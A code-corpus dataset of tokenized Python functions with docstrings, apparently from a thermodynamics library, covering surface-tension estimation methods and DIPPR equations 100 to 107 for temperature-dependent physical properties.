{"signature": "def load_all_methods(self):", "body": "methods = []<EOL>Tmins, Tmaxs = [], []<EOL>if self.CASRN in Mulero_Cachadina_data.index:<EOL><INDENT>methods.append(STREFPROP)<EOL>_, sigma0, n0, sigma1, n1, sigma2, n2, Tc, self.STREFPROP_Tmin, self.STREFPROP_Tmax = _Mulero_Cachadina_data_values[Mulero_Cachadina_data.index.get_loc(self.CASRN)].tolist()<EOL>self.STREFPROP_coeffs = [sigma0, n0, sigma1, n1, sigma2, n2, Tc]<EOL>Tmins.append(self.STREFPROP_Tmin); Tmaxs.append(self.STREFPROP_Tmax)<EOL><DEDENT>if self.CASRN in Somayajulu_data_2.index:<EOL><INDENT>methods.append(SOMAYAJULU2)<EOL>_, self.SOMAYAJULU2_Tt, self.SOMAYAJULU2_Tc, A, B, C = _Somayajulu_data_2_values[Somayajulu_data_2.index.get_loc(self.CASRN)].tolist()<EOL>self.SOMAYAJULU2_coeffs = [A, B, C]<EOL>Tmins.append(self.SOMAYAJULU2_Tt); Tmaxs.append(self.SOMAYAJULU2_Tc)<EOL><DEDENT>if self.CASRN in Somayajulu_data.index:<EOL><INDENT>methods.append(SOMAYAJULU)<EOL>_, self.SOMAYAJULU_Tt, self.SOMAYAJULU_Tc, A, B, C = _Somayajulu_data_values[Somayajulu_data.index.get_loc(self.CASRN)].tolist()<EOL>self.SOMAYAJULU_coeffs = [A, B, C]<EOL>Tmins.append(self.SOMAYAJULU_Tt); Tmaxs.append(self.SOMAYAJULU_Tc)<EOL><DEDENT>if self.CASRN in _VDISaturationDict:<EOL><INDENT>methods.append(VDI_TABULAR)<EOL>Ts, props = VDI_tabular_data(self.CASRN, '<STR_LIT>')<EOL>self.VDI_Tmin = Ts[<NUM_LIT:0>]<EOL>self.VDI_Tmax = Ts[-<NUM_LIT:1>]<EOL>self.tabular_data[VDI_TABULAR] = (Ts, props)<EOL>Tmins.append(self.VDI_Tmin); Tmaxs.append(self.VDI_Tmax)<EOL><DEDENT>if self.CASRN in Jasper_Lange_data.index:<EOL><INDENT>methods.append(JASPER)<EOL>_, a, b, self.JASPER_Tmin, self.JASPER_Tmax= _Jasper_Lange_data_values[Jasper_Lange_data.index.get_loc(self.CASRN)].tolist()<EOL>self.JASPER_coeffs = [a, b]<EOL>Tmins.append(self.JASPER_Tmin); Tmaxs.append(self.JASPER_Tmax)<EOL><DEDENT>if all((self.Tc, self.Vc, self.omega)):<EOL><INDENT>methods.append(MIQUEU)<EOL>Tmins.append(<NUM_LIT:0.0>); Tmaxs.append(self.Tc)<EOL><DEDENT>if all((self.Tb, self.Tc, self.Pc)):<EOL><INDENT>methods.append(BROCK_BIRD)<EOL>methods.append(SASTRI_RAO)<EOL>Tmins.append(<NUM_LIT:0.0>); Tmaxs.append(self.Tc)<EOL><DEDENT>if all((self.Tc, self.Pc, self.omega)):<EOL><INDENT>methods.append(PITZER)<EOL>methods.append(ZUO_STENBY)<EOL>Tmins.append(<NUM_LIT:0.0>); Tmaxs.append(self.Tc)<EOL><DEDENT>if self.CASRN in VDI_PPDS_11.index:<EOL><INDENT>_,  Tm, Tc, A, B, C, D, E = _VDI_PPDS_11_values[VDI_PPDS_11.index.get_loc(self.CASRN)].tolist()<EOL>self.VDI_PPDS_coeffs = [A, B, C, D, E]<EOL>self.VDI_PPDS_Tc = Tc<EOL>self.VDI_PPDS_Tm = Tm<EOL>methods.append(VDI_PPDS)<EOL>Tmins.append(self.VDI_PPDS_Tm) ; Tmaxs.append(self.VDI_PPDS_Tc); <EOL><DEDENT>if all((self.Tb, self.Hvap_Tb, self.MW)):<EOL><INDENT>self.Cpl_Tb = self.Cpl(self.Tb) if hasattr(self.Cpl, '<STR_LIT>') else self.Cpl<EOL>if self.Cpl_Tb:<EOL><INDENT>methods.append(ALEEM)<EOL>Tmax_possible = self.Tb + self.Hvap_Tb/self.Cpl_Tb<EOL>if self.Tc:<EOL><INDENT>Tmax_possible = min(self.Tc, Tmax_possible)<EOL><DEDENT>Tmins.append(<NUM_LIT:0.0>); Tmaxs.append(Tmax_possible)<EOL><DEDENT><DEDENT>self.all_methods = set(methods)<EOL>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin = min(Tmins)<EOL>self.Tmax = max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        and :obj:`all_methods` as a set of methods for which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15807:c0:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == STREFPROP:<EOL><INDENT>sigma0, n0, sigma1, n1, sigma2, n2, Tc = self.STREFPROP_coeffs<EOL>sigma = REFPROP(T, Tc=Tc, sigma0=sigma0, n0=n0, sigma1=sigma1, n1=n1,<EOL>sigma2=sigma2, n2=n2)<EOL><DEDENT>elif method == VDI_PPDS:<EOL><INDENT>sigma = EQ106(T, self.VDI_PPDS_Tc, *self.VDI_PPDS_coeffs)<EOL><DEDENT>elif method == SOMAYAJULU2:<EOL><INDENT>A, B, C = self.SOMAYAJULU2_coeffs<EOL>sigma = Somayajulu(T, Tc=self.SOMAYAJULU2_Tc, A=A, B=B, C=C)<EOL><DEDENT>elif method == SOMAYAJULU:<EOL><INDENT>A, B, C = self.SOMAYAJULU_coeffs<EOL>sigma = Somayajulu(T, Tc=self.SOMAYAJULU_Tc, A=A, B=B, C=C)<EOL><DEDENT>elif method == JASPER:<EOL><INDENT>sigma = Jasper(T, a=self.JASPER_coeffs[<NUM_LIT:0>], b=self.JASPER_coeffs[<NUM_LIT:1>])<EOL><DEDENT>elif method == BROCK_BIRD:<EOL><INDENT>sigma = Brock_Bird(T, self.Tb, self.Tc, self.Pc)<EOL><DEDENT>elif method == SASTRI_RAO:<EOL><INDENT>sigma = Sastri_Rao(T, self.Tb, self.Tc, self.Pc)<EOL><DEDENT>elif method == PITZER:<EOL><INDENT>sigma = Pitzer(T, self.Tc, self.Pc, self.omega)<EOL><DEDENT>elif method == ZUO_STENBY:<EOL><INDENT>sigma = Zuo_Stenby(T, self.Tc, self.Pc, self.omega)<EOL><DEDENT>elif method == MIQUEU:<EOL><INDENT>sigma = Miqueu(T, self.Tc, self.Vc, self.omega)<EOL><DEDENT>elif method == ALEEM:<EOL><INDENT>Cpl = self.Cpl(T) if hasattr(self.Cpl, '<STR_LIT>') else self.Cpl<EOL>Vml = self.Vml(T) if hasattr(self.Vml, '<STR_LIT>') else self.Vml<EOL>rhol = Vm_to_rho(Vml, self.MW)<EOL>sigma = Aleem(T=T, MW=self.MW, Tb=self.Tb, rhol=rhol, Hvap_Tb=self.Hvap_Tb, Cpl=Cpl)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>sigma = self.interpolate(T, method)<EOL><DEDENT>return sigma<EOL>", "docstring": "r'''Method to calculate surface tension of a liquid at temperature `T`\n        with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate surface tension, [K]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        sigma : float\n            Surface tension of the liquid at T, [N/m]", "id": "f15807:c0:m2"}
{"signature": "def load_all_methods(self):", "body": "methods = []        <EOL>methods.append(SIMPLE) <EOL>methods.append(WINTERFELDSCRIVENDAVIS) <EOL>if none_and_length_check((self.Tbs, self.Tcs)):<EOL><INDENT>self.sigmas_Tb = [i(Tb) for i, Tb in zip(self.SurfaceTensions, self.Tbs)]<EOL>if none_and_length_check([self.sigmas_Tb]):<EOL><INDENT>methods.append(DIGUILIOTEJA)<EOL><DEDENT><DEDENT>self.all_methods = set(methods)<EOL>", "docstring": "r'''Method to initialize the object by precomputing any values which\n        may be used repeatedly and by retrieving mixture-specific variables.\n        All data are stored as attributes. This method also sets :obj:`Tmin`, \n        :obj:`Tmax`, and :obj:`all_methods` as a set of methods which should \n        work to calculate the property.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15807:c1:m1"}
{"signature": "def calculate(self, T, P, zs, ws, method):", "body": "if method == SIMPLE:<EOL><INDENT>sigmas = [i(T) for i in self.SurfaceTensions]<EOL>return mixing_simple(zs, sigmas)<EOL><DEDENT>elif method == DIGUILIOTEJA:<EOL><INDENT>return Diguilio_Teja(T=T, xs=zs, sigmas_Tb=self.sigmas_Tb, <EOL>Tbs=self.Tbs, Tcs=self.Tcs)<EOL><DEDENT>elif method == WINTERFELDSCRIVENDAVIS:<EOL><INDENT>sigmas = [i(T) for i in self.SurfaceTensions]<EOL>rhoms = [<NUM_LIT:1.>/i(T, P) for i in self.VolumeLiquids]<EOL>return Winterfeld_Scriven_Davis(zs, sigmas, rhoms)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate surface tension of a liquid mixture at \n        temperature `T`, pressure `P`, mole fractions `zs` and weight fractions\n        `ws` with a given method.\n\n        This method has no exception handling; see `mixture_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate the property, [K]\n        P : float\n            Pressure at which to calculate the property, [Pa]\n        zs : list[float]\n            Mole fractions of all species in the mixture, [-]\n        ws : list[float]\n            Weight fractions of all species in the mixture, [-]\n        method : str\n            Name of the method to use\n\n        Returns\n        -------\n        sigma : float\n            Surface tension of the liquid at given conditions, [N/m]", "id": "f15807:c1:m2"}
{"signature": "def EQ100(T, A=<NUM_LIT:0>, B=<NUM_LIT:0>, C=<NUM_LIT:0>, D=<NUM_LIT:0>, E=<NUM_LIT:0>, F=<NUM_LIT:0>, G=<NUM_LIT:0>, order=<NUM_LIT:0>):", "body": "if order == <NUM_LIT:0>:<EOL><INDENT>return A + T*(B + T*(C + T*(D + T*(E + T*(F + G*T)))))<EOL><DEDENT>elif order == <NUM_LIT:1>:<EOL><INDENT>return B + T*(<NUM_LIT:2>*C + T*(<NUM_LIT:3>*D + T*(<NUM_LIT:4>*E + T*(<NUM_LIT:5>*F + <NUM_LIT:6>*G*T))))<EOL><DEDENT>elif order == -<NUM_LIT:1>:<EOL><INDENT>return T*(A + T*(B/<NUM_LIT:2> + T*(C/<NUM_LIT:3> + T*(D/<NUM_LIT:4> + T*(E/<NUM_LIT:5> + T*(F/<NUM_LIT:6> + G*T/<NUM_LIT:7>))))))<EOL><DEDENT>elif order == -<NUM_LIT>:<EOL><INDENT>return A*log(T) + T*(B + T*(C/<NUM_LIT:2> + T*(D/<NUM_LIT:3> + T*(E/<NUM_LIT:4> + T*(F/<NUM_LIT:5> + G*T/<NUM_LIT:6>)))))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(order_not_found_msg)<EOL><DEDENT>", "docstring": "r'''DIPPR Equation # 100. Used in calculating the molar heat capacities\n    of liquids and solids, liquid thermal conductivity, and solid density.\n    All parameters default to zero. As this is a straightforward polynomial,\n    no restrictions on parameters apply. Note that high-order polynomials like\n    this may need large numbers of decimal places to avoid unnecessary error.\n\n    .. math::\n        Y = A + BT + CT^2 + DT^3 + ET^4 + FT^5 + GT^6\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    A-G : float\n        Parameter for the equation; chemical and property specific [-]\n    order : int, optional\n        Order of the calculation. 0 for the calculation of the result itself;\n        for 1, the first derivative of the property is returned, for\n        -1, the indefinite integral of the property with respect to temperature\n        is returned; and for -1j, the indefinite integral of the property\n        divided by temperature with respect to temperature is returned. No \n        other integrals or derivatives are implemented, and an exception will \n        be raised if any other order is given.\n\n    Returns\n    -------\n    Y : float\n        Property [constant-specific; if order == 1, property/K; if order == -1,\n                  property*K; if order == -1j, unchanged from default]\n\n    Notes\n    -----\n    The derivative with respect to T, integral with respect to T, and integral\n    over T with respect to T are computed as follows. All derivatives and \n    integrals are easily computed with SymPy.\n\n    .. math::\n        \\frac{d Y}{dT} = B + 2 C T + 3 D T^{2} + 4 E T^{3} + 5 F T^{4} \n        + 6 G T^{5}\n\n    .. math::\n        \\int Y dT = A T + \\frac{B T^{2}}{2} + \\frac{C T^{3}}{3} + \\frac{D \n        T^{4}}{4} + \\frac{E T^{5}}{5} + \\frac{F T^{6}}{6} + \\frac{G T^{7}}{7}\n\n    .. math::\n        \\int \\frac{Y}{T} dT = A \\log{\\left (T \\right )} + B T + \\frac{C T^{2}}\n        {2} + \\frac{D T^{3}}{3} + \\frac{E T^{4}}{4} + \\frac{F T^{5}}{5} \n        + \\frac{G T^{6}}{6}\n\n    Examples\n    --------\n    Water liquid heat capacity; DIPPR coefficients normally listed in J/kmol/K.\n\n    >>> EQ100(300, 276370., -2090.1, 8.125, -0.014116, 0.0000093701)\n    75355.81000000003\n\n    References\n    ----------\n    .. [1] Design Institute for Physical Properties, 1996. DIPPR Project 801\n       DIPPR/AIChE", "id": "f15808:m0"}
{"signature": "def EQ101(T, A, B, C, D, E):", "body": "return exp(A + B/T + C*log(T) + D*T**E)<EOL>", "docstring": "r'''DIPPR Equation # 101. Used in calculating vapor pressure, sublimation\n    pressure, and liquid viscosity.\n    All 5 parameters are required. E is often an integer. As the model is\n    exponential, a sufficiently high temperature will cause an OverflowError.\n    A negative temperature (or just low, if fit poorly) may cause a math domain\n    error.\n\n    .. math::\n        Y = \\exp\\left(A + \\frac{B}{T} + C\\cdot \\ln T + D \\cdot T^E\\right)\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    A-E : float\n        Parameter for the equation; chemical and property specific [-]\n\n    Returns\n    -------\n    Y : float\n        Property [constant-specific]\n\n    Notes\n    -----\n    This function is not integrable for either dT or Y/T dT.\n\n    Examples\n    --------\n    Water vapor pressure; DIPPR coefficients normally listed in Pa.\n\n    >>> EQ101(300, 73.649, -7258.2, -7.3037, 4.1653E-6, 2)\n    3537.44834545549\n\n    References\n    ----------\n    .. [1] Design Institute for Physical Properties, 1996. DIPPR Project 801\n       DIPPR/AIChE", "id": "f15808:m1"}
{"signature": "def EQ102(T, A, B, C, D, order=<NUM_LIT:0>):", "body": "if order == <NUM_LIT:0>:<EOL><INDENT>return A*T**B/(<NUM_LIT:1.> + C/T + D/(T*T))<EOL><DEDENT>elif order == <NUM_LIT:1>:<EOL><INDENT>return (A*B*T**B/(T*(C/T + D/T**<NUM_LIT:2> + <NUM_LIT:1>)) <EOL>+ A*T**B*(C/T**<NUM_LIT:2> + <NUM_LIT:2>*D/T**<NUM_LIT:3>)/(C/T + D/T**<NUM_LIT:2> + <NUM_LIT:1>)**<NUM_LIT:2>)<EOL><DEDENT>elif order == -<NUM_LIT:1>:<EOL><INDENT>return (<NUM_LIT:2>*A*T**(<NUM_LIT:3>+B)*hyp2f1(<NUM_LIT:1>, <NUM_LIT:3>+B, <NUM_LIT:4>+B, -<NUM_LIT:2>*T/(C - csqrt(C*C <EOL>- <NUM_LIT:4>*D)))/((<NUM_LIT:3>+B)*(C - csqrt(C*C-<NUM_LIT:4>*D))*csqrt(C*C-<NUM_LIT:4>*D))<EOL>-<NUM_LIT:2>*A*T**(<NUM_LIT:3>+B)*hyp2f1(<NUM_LIT:1>, <NUM_LIT:3>+B, <NUM_LIT:4>+B, -<NUM_LIT:2>*T/(C + csqrt(C*C - <NUM_LIT:4>*D)))/(<EOL>(<NUM_LIT:3>+B)*(C + csqrt(C*C-<NUM_LIT:4>*D))*csqrt(C*C-<NUM_LIT:4>*D))).real<EOL><DEDENT>elif order == -<NUM_LIT>:<EOL><INDENT>return (<NUM_LIT:2>*A*T**(<NUM_LIT:2>+B)*hyp2f1(<NUM_LIT:1>, <NUM_LIT:2>+B, <NUM_LIT:3>+B, -<NUM_LIT:2>*T/(C - csqrt(C*C - <NUM_LIT:4>*D)))/(<EOL>(<NUM_LIT:2>+B)*(C - csqrt(C*C-<NUM_LIT:4>*D))*csqrt(C*C-<NUM_LIT:4>*D)) -<NUM_LIT:2>*A*T**(<NUM_LIT:2>+B)*hyp2f1(<EOL><NUM_LIT:1>, <NUM_LIT:2>+B, <NUM_LIT:3>+B, -<NUM_LIT:2>*T/(C + csqrt(C*C - <NUM_LIT:4>*D)))/((<NUM_LIT:2>+B)*(C + csqrt(<EOL>C*C-<NUM_LIT:4>*D))*csqrt(C*C-<NUM_LIT:4>*D))).real<EOL><DEDENT>else:<EOL><INDENT>raise Exception(order_not_found_msg)<EOL><DEDENT>", "docstring": "r'''DIPPR Equation # 102. Used in calculating vapor viscosity, vapor\n    thermal conductivity, and sometimes solid heat capacity. High values of B\n    raise an OverflowError.\n    All 4 parameters are required. C and D are often 0.\n\n    .. math::\n        Y = \\frac{A\\cdot T^B}{1 + \\frac{C}{T} + \\frac{D}{T^2}}\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    A-D : float\n        Parameter for the equation; chemical and property specific [-]\n    order : int, optional\n        Order of the calculation. 0 for the calculation of the result itself;\n        for 1, the first derivative of the property is returned, for\n        -1, the indefinite integral of the property with respect to temperature\n        is returned; and for -1j, the indefinite integral of the property\n        divided by temperature with respect to temperature is returned. No \n        other integrals or derivatives are implemented, and an exception will \n        be raised if any other order is given.\n\n    Returns\n    -------\n    Y : float\n        Property [constant-specific; if order == 1, property/K; if order == -1,\n                  property*K; if order == -1j, unchanged from default]\n\n    Notes\n    -----\n    The derivative with respect to T, integral with respect to T, and integral\n    over T with respect to T are computed as follows. The first derivative is\n    easily computed; the two integrals required Rubi to perform the integration.\n\n    .. math::\n        \\frac{d Y}{dT} = \\frac{A B T^{B}}{T \\left(\\frac{C}{T} + \\frac{D}{T^{2}} \n        + 1\\right)} + \\frac{A T^{B} \\left(\\frac{C}{T^{2}} + \\frac{2 D}{T^{3}}\n        \\right)}{\\left(\\frac{C}{T} + \\frac{D}{T^{2}} + 1\\right)^{2}}\n\n    .. math::\n        \\int Y dT = - \\frac{2 A T^{B + 3} \\operatorname{hyp2f1}{\\left (1,B + 3,\n        B + 4,- \\frac{2 T}{C - \\sqrt{C^{2} - 4 D}} \\right )}}{\\left(B + 3\\right) \n        \\left(C + \\sqrt{C^{2} - 4 D}\\right) \\sqrt{C^{2} - 4 D}} + \\frac{2 A \n        T^{B + 3} \\operatorname{hyp2f1}{\\left (1,B + 3,B + 4,- \\frac{2 T}{C \n        + \\sqrt{C^{2} - 4 D}} \\right )}}{\\left(B + 3\\right) \\left(C \n        - \\sqrt{C^{2} - 4 D}\\right) \\sqrt{C^{2} - 4 D}}\n\n    .. math::\n        \\int \\frac{Y}{T} dT = - \\frac{2 A T^{B + 2} \\operatorname{hyp2f1}{\\left\n        (1,B + 2,B + 3,- \\frac{2 T}{C + \\sqrt{C^{2} - 4 D}} \\right )}}{\\left(B \n        + 2\\right) \\left(C + \\sqrt{C^{2} - 4 D}\\right) \\sqrt{C^{2} - 4 D}}\n        + \\frac{2 A T^{B + 2} \\operatorname{hyp2f1}{\\left (1,B + 2,B + 3,\n        - \\frac{2 T}{C - \\sqrt{C^{2} - 4 D}} \\right )}}{\\left(B + 2\\right) \n        \\left(C - \\sqrt{C^{2} - 4 D}\\right) \\sqrt{C^{2} - 4 D}}\n\n    Examples\n    --------\n    Water vapor viscosity; DIPPR coefficients normally listed in Pa*s.\n\n    >>> EQ102(300, 1.7096E-8, 1.1146, 0, 0)\n    9.860384711890639e-06\n\n    References\n    ----------\n    .. [1] Design Institute for Physical Properties, 1996. DIPPR Project 801\n       DIPPR/AIChE", "id": "f15808:m2"}
{"signature": "def EQ104(T, A, B, C, D, E, order=<NUM_LIT:0>):", "body": "if order == <NUM_LIT:0>:<EOL><INDENT>T2 = T*T<EOL>return A + (B + (C + (D + E/T)/(T2*T2*T))/T2)/T<EOL><DEDENT>elif order == <NUM_LIT:1>:<EOL><INDENT>T2 = T*T<EOL>T4 = T2*T2<EOL>return (-B + (-<NUM_LIT:3>*C + (-<NUM_LIT:8>*D - <NUM_LIT:9>*E/T)/(T4*T))/T2)/T2<EOL><DEDENT>elif order == -<NUM_LIT:1>:<EOL><INDENT>return A*T + B*log(T) - (<NUM_LIT>*C*T**<NUM_LIT:6> + <NUM_LIT:8>*D*T + <NUM_LIT:7>*E)/(<NUM_LIT>*T**<NUM_LIT:8>)<EOL><DEDENT>elif order == -<NUM_LIT>:<EOL><INDENT>return A*log(T) - (<NUM_LIT>*B*T**<NUM_LIT:8> + <NUM_LIT>*C*T**<NUM_LIT:6> + <NUM_LIT:9>*D*T + <NUM_LIT:8>*E)/(<NUM_LIT>*T**<NUM_LIT:9>)<EOL><DEDENT>else:<EOL><INDENT>raise Exception(order_not_found_msg)<EOL><DEDENT>", "docstring": "r'''DIPPR Equation #104. Often used in calculating second virial\n    coefficients of gases. All 5 parameters are required.\n    C, D, and E are normally large values.\n\n    .. math::\n        Y = A + \\frac{B}{T} + \\frac{C}{T^3} + \\frac{D}{T^8} + \\frac{E}{T^9}\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    A-E : float\n        Parameter for the equation; chemical and property specific [-]\n    order : int, optional\n        Order of the calculation. 0 for the calculation of the result itself;\n        for 1, the first derivative of the property is returned, for\n        -1, the indefinite integral of the property with respect to temperature\n        is returned; and for -1j, the indefinite integral of the property\n        divided by temperature with respect to temperature is returned. No \n        other integrals or derivatives are implemented, and an exception will \n        be raised if any other order is given.\n\n    Returns\n    -------\n    Y : float\n        Property [constant-specific; if order == 1, property/K; if order == -1,\n                  property*K; if order == -1j, unchanged from default]\n\n    Notes\n    -----\n    The derivative with respect to T, integral with respect to T, and integral\n    over T with respect to T are computed as follows. All expressions can be\n    obtained with SymPy readily.\n\n    .. math::\n        \\frac{d Y}{dT} = - \\frac{B}{T^{2}} - \\frac{3 C}{T^{4}} \n        - \\frac{8 D}{T^{9}} - \\frac{9 E}{T^{10}}\n\n    .. math::\n        \\int Y dT = A T + B \\log{\\left (T \\right )} - \\frac{1}{56 T^{8}} \n        \\left(28 C T^{6} + 8 D T + 7 E\\right)\n\n    .. math::\n        \\int \\frac{Y}{T} dT = A \\log{\\left (T \\right )} - \\frac{1}{72 T^{9}} \n        \\left(72 B T^{8} + 24 C T^{6} + 9 D T + 8 E\\right)\n\n    Examples\n    --------\n    Water second virial coefficient; DIPPR coefficients normally dimensionless.\n\n    >>> EQ104(300, 0.02222, -26.38, -16750000, -3.894E19, 3.133E21)\n    -1.1204179007265156\n\n    References\n    ----------\n    .. [1] Design Institute for Physical Properties, 1996. DIPPR Project 801\n       DIPPR/AIChE", "id": "f15808:m3"}
{"signature": "def EQ105(T, A, B, C, D):", "body": "return A/B**(<NUM_LIT:1.> + (<NUM_LIT:1.> - T/C)**D)<EOL>", "docstring": "r'''DIPPR Equation #105. Often used in calculating liquid molar density.\n    All 4 parameters are required. C is sometimes the fluid's critical\n    temperature.\n\n    .. math::\n        Y = \\frac{A}{B^{1 + (1-\\frac{T}{C})^D}}\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    A-D : float\n        Parameter for the equation; chemical and property specific [-]\n\n    Returns\n    -------\n    Y : float\n        Property [constant-specific]\n\n    Notes\n    -----\n    This expression can be integrated in terms of the incomplete gamma function\n    for dT, but for Y/T dT no integral could be found.\n\n    Examples\n    --------\n    Hexane molar density; DIPPR coefficients normally in kmol/m^3.\n\n    >>> EQ105(300., 0.70824, 0.26411, 507.6, 0.27537)\n    7.593170096339236\n\n    References\n    ----------\n    .. [1] Design Institute for Physical Properties, 1996. DIPPR Project 801\n       DIPPR/AIChE", "id": "f15808:m4"}
{"signature": "def EQ106(T, Tc, A, B, C=<NUM_LIT:0>, D=<NUM_LIT:0>, E=<NUM_LIT:0>):", "body": "Tr = T/Tc<EOL>return A*(<NUM_LIT:1.> - Tr)**(B + Tr*(C + Tr*(D + E*Tr)))<EOL>", "docstring": "r'''DIPPR Equation #106. Often used in calculating liquid surface tension,\n    and heat of vaporization.\n    Only parameters A and B parameters are required; many fits include no\n    further parameters. Critical temperature is also required.\n\n    .. math::\n        Y = A(1-T_r)^{B + C T_r + D T_r^2 + E T_r^3}\n\n        Tr = \\frac{T}{Tc}\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    Tc : float\n        Critical temperature, [K]\n    A-D : float\n        Parameter for the equation; chemical and property specific [-]\n\n    Returns\n    -------\n    Y : float\n        Property [constant-specific]\n\n    Notes\n    -----\n    The integral could not be found, but the integral over T actually could,\n    again in terms of hypergeometric functions.\n\n    Examples\n    --------\n    Water surface tension; DIPPR coefficients normally in Pa*s.\n\n    >>> EQ106(300, 647.096, 0.17766, 2.567, -3.3377, 1.9699)\n    0.07231499373541\n\n    References\n    ----------\n    .. [1] Design Institute for Physical Properties, 1996. DIPPR Project 801\n       DIPPR/AIChE", "id": "f15808:m5"}
{"signature": "def EQ107(T, A=<NUM_LIT:0>, B=<NUM_LIT:0>, C=<NUM_LIT:0>, D=<NUM_LIT:0>, E=<NUM_LIT:0>, order=<NUM_LIT:0>):", "body": "if order == <NUM_LIT:0>:<EOL><INDENT>return A + B*((C/T)/sinh(C/T))**<NUM_LIT:2> + D*((E/T)/cosh(E/T))**<NUM_LIT:2><EOL><DEDENT>elif order == <NUM_LIT:1>:<EOL><INDENT>return (<NUM_LIT:2>*B*C**<NUM_LIT:3>*cosh(C/T)/(T**<NUM_LIT:4>*sinh(C/T)**<NUM_LIT:3>) <EOL>- <NUM_LIT:2>*B*C**<NUM_LIT:2>/(T**<NUM_LIT:3>*sinh(C/T)**<NUM_LIT:2>) <EOL>+ <NUM_LIT:2>*D*E**<NUM_LIT:3>*sinh(E/T)/(T**<NUM_LIT:4>*cosh(E/T)**<NUM_LIT:3>)<EOL>- <NUM_LIT:2>*D*E**<NUM_LIT:2>/(T**<NUM_LIT:3>*cosh(E/T)**<NUM_LIT:2>))<EOL><DEDENT>elif order == -<NUM_LIT:1>:<EOL><INDENT>return A*T + B*C/tanh(C/T) - D*E*tanh(E/T)<EOL><DEDENT>elif order == -<NUM_LIT>:<EOL><INDENT>return (A*log(T) + B*C/tanh(C/T)/T - B*log(sinh(C/T)) <EOL>- D*E*tanh(E/T)/T + D*log(cosh(E/T)))<EOL><DEDENT>else:<EOL><INDENT>raise Exception(order_not_found_msg)<EOL><DEDENT>", "docstring": "r'''DIPPR Equation #107. Often used in calculating ideal-gas heat capacity.\n    All 5 parameters are required.\n    Also called the Aly-Lee equation.\n\n    .. math::\n        Y = A + B\\left[\\frac{C/T}{\\sinh(C/T)}\\right]^2 + D\\left[\\frac{E/T}{\n        \\cosh(E/T)}\\right]^2\n\n    Parameters\n    ----------\n    T : float\n        Temperature, [K]\n    A-E : float\n        Parameter for the equation; chemical and property specific [-]\n    order : int, optional\n        Order of the calculation. 0 for the calculation of the result itself;\n        for 1, the first derivative of the property is returned, for\n        -1, the indefinite integral of the property with respect to temperature\n        is returned; and for -1j, the indefinite integral of the property\n        divided by temperature with respect to temperature is returned. No \n        other integrals or derivatives are implemented, and an exception will \n        be raised if any other order is given.\n\n    Returns\n    -------\n    Y : float\n        Property [constant-specific; if order == 1, property/K; if order == -1,\n                  property*K; if order == -1j, unchanged from default]\n\n    Notes\n    -----\n    The derivative with respect to T, integral with respect to T, and integral\n    over T with respect to T are computed as follows. The derivative is \n    obtained via SymPy; the integrals from Wolfram Alpha.\n\n    .. math::\n        \\frac{d Y}{dT} = \\frac{2 B C^{3} \\cosh{\\left (\\frac{C}{T} \\right )}}\n        {T^{4} \\sinh^{3}{\\left (\\frac{C}{T} \\right )}} - \\frac{2 B C^{2}}{T^{3}\n        \\sinh^{2}{\\left (\\frac{C}{T} \\right )}} + \\frac{2 D E^{3} \\sinh{\\left\n        (\\frac{E}{T} \\right )}}{T^{4} \\cosh^{3}{\\left (\\frac{E}{T} \\right )}} \n        - \\frac{2 D E^{2}}{T^{3} \\cosh^{2}{\\left (\\frac{E}{T} \\right )}}\n\n    .. math::\n        \\int Y dT = A T + \\frac{B C}{\\tanh{\\left (\\frac{C}{T} \\right )}}\n        - D E \\tanh{\\left (\\frac{E}{T} \\right )}\n\n    .. math::\n        \\int \\frac{Y}{T} dT = A \\log{\\left (T \\right )} + \\frac{B C}{T \\tanh{\n        \\left (\\frac{C}{T} \\right )}} - B \\log{\\left (\\sinh{\\left (\\frac{C}{T}\n        \\right )} \\right )} - \\frac{D E}{T} \\tanh{\\left (\\frac{E}{T} \\right )}\n        + D \\log{\\left (\\cosh{\\left (\\frac{E}{T} \\right )} \\right )}\n\n    Examples\n    --------\n    Water ideal gas molar heat capacity; DIPPR coefficients normally in\n    J/kmol/K\n\n    >>> EQ107(300., 33363., 26790., 2610.5, 8896., 1169.)\n    33585.90452768923\n\n    References\n    ----------\n    .. [1] Design Institute for Physical Properties, 1996. DIPPR Project 801\n       DIPPR/AIChE\n    .. [2] Aly, Fouad A., and Lloyd L. Lee. \"Self-Consistent Equations for\n       Calculating the Ideal Gas Heat Capacity, Enthalpy, and Entropy.\" Fluid\n       Phase Equilibria 6, no. 3 (January 1, 1981): 169-79.\n       doi:10.1016/0378-3812(81)85002-9.", "id": "f15808:m6"}
